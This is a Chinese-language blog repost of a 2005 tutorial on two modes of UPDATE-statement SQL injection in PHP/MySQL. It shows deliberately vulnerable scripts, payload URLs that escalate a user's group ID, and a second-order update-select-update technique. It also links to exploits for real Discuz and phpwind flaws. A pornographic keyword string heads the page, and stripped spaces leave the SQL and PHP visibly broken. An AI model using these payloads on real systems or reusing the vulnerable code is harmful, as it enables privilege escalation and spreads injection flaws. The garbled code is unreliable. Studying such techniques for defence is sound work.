日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql update实质,UPDATE注射(mysql+php)的两个模式

發布時間:2023/12/20 数据库 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql update实质,UPDATE注射(mysql+php)的两个模式 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

UPDATE注射(mysql+php)的兩個模式

2021-01-23 7:48:35424

UPDATE注射(mysql+php)的兩個模式

文/安全天使·SuperHei2005.8.11

一.測試環境:

OS:Windowsxpsp2

php:php4.3.10(

mysql4.1.9

apache1.3.33

二.測試數據庫結構:

-----start---

--數據庫:`test`

--

----------------------------------------------------------

--

--表的結構`userinfo`

--

CREATETABLE`userinfo`(

`groudid`varchar(12)NOTNULLdefault'1',

`user`varchar(12)NOTNULLdefault'heige',

`pass`varchar(122)NOTNULLdefault'123456'

)ENGINE=MyISAMDEFAULTCHARSET=latin1;

--

--導出表中的數據`userinfo`

--

INSERTINTO`userinfo`VALUES('2','heige','123456');

------end-------

三.測試模式:

1,變量沒有帶''或""[MOD1]

//test1.phpMod1

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="test";

mysql_connect($servername,$dbusername,$dbpassword)ordie("數據庫連接失敗");

$sql="updateuserinfosetpass=$pwhereuser='heige'";//

$result=mysql_db_query($dbname,$sql);

$userinfo=mysql_fetch_array($result);

echo"

SQLQuery:$sql

";

?>

腳本里只是修改user='heige'的pass,如果groudid表示用戶的權限等級,我們的目的就是通過構造$p來達

到修改groupid的目的:

那么我們提交:http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查詢:

mysql>select*fromuserinfo;

+---------+-------+--------+

|groudid|user|pass|

+---------+-------+--------+

|1|heige|123456|

+---------+-------+--------+

1rowinset(0.01sec)

用戶heige的groudid又2改為1了:)

所以我們可以得到沒有''或""update的注射是可以成功的,這個就是我們的模式1。

2,變量帶''或""[MOD2]

//test2.php

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="test";

mysql_connect($servername,$dbusername,$dbpassword)ordie("數據庫連接失敗");

$sql="updateuserinfosetpass='$p'whereuser='heige'";//

$result=mysql_db_query($dbname,$sql);

$userinfo=mysql_fetch_array($result);

echo"

SQLQuery:$sql

";

?>

為了關閉'我們構造$p應該為123456',groudid='2提交:

http://127.0.0.1/test2.php?p=123456',groudid='1在gpc=on的情況下'變成了\'

提交的語句變成:SQLQuery:updateuserinfosetpass='123456\',groudid=\'1'whereuser='heige'

mysql查詢:

mysql>select*fromuserinfo;

+---------+-------+--------------------+

|groudid|user|pass|

+---------+-------+--------------------+

|2|heige|123456',groudid='1|

+---------+-------+--------------------+

1rowinset(0.00sec)

groudid并沒有被修改。那么在變量被''或""時就完全沒有被注射呢?不是下面我們看模式2:

//test3.phpMod2

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="test";

mysql_connect($servername,$dbusername,$dbpassword)ordie("數據庫連接失敗");

$sql="updateuserinfosetpass='$p'whereuser='heige'";//

$result=mysql_db_query($dbname,$sql);

mysql_fetch_array($result);//$p的數據寫入數據庫

$sql="selectpassfromuserinfowhereuser='heige'";

$result=mysql_db_query($dbname,$sql);

$userinfo=mysql_fetch_array($result);

echo$userinfo[0];//把pass查詢輸出給$userinfo[0]

$sql="updateuserinfosetpass='$userinfo[0]'whereuser='heige'";

$result=mysql_db_query($dbname,$sql);

mysql_fetch_array($result);//把$userinfo[0]再次update

?>

我們測試下,提交:http://127.0.0.1/test3.php?p=123456',groudid='1

回mysql查詢下:

mysql>select*fromuserinfo;

+---------+-------+--------+

|groudid|user|pass|

+---------+-------+--------+

|1|heige|123456|

+---------+-------+--------+

1rowinset(0.00sec)

HaHa~~成功注射修改groudid為1。這個就是我們的模式2了,簡單的描敘如下:

update-->select-->update

四.實際模式

模式1:Discuz2.0/2.2register.php注射

漏洞分析:http://4ngel.net/article/41.htm

Discuz2.0/2.2register.phpRemoteExploit:http://4ngel.net/project/discuz_reg.htm

模式2:phpwind2.0.2和3.31e權限提升漏洞

漏洞分析:

update(profile.php注射變量為$proiconupdate語句里為,icon='$userdb[icon]')

v

select(jop.php)

v

updtate(jop.php)

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

五.鳴謝

特別感謝saiy等朋友的討論和幫助。Thanks!!!

點擊這里復制本文地址

以上內容由聚米學院網友整理呈現,如對侵犯您的權益,請聯系郵箱:fzsbm@qq.com

留言評論

總結

以上是生活随笔為你收集整理的mysql update实质,UPDATE注射(mysql+php)的两个模式的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。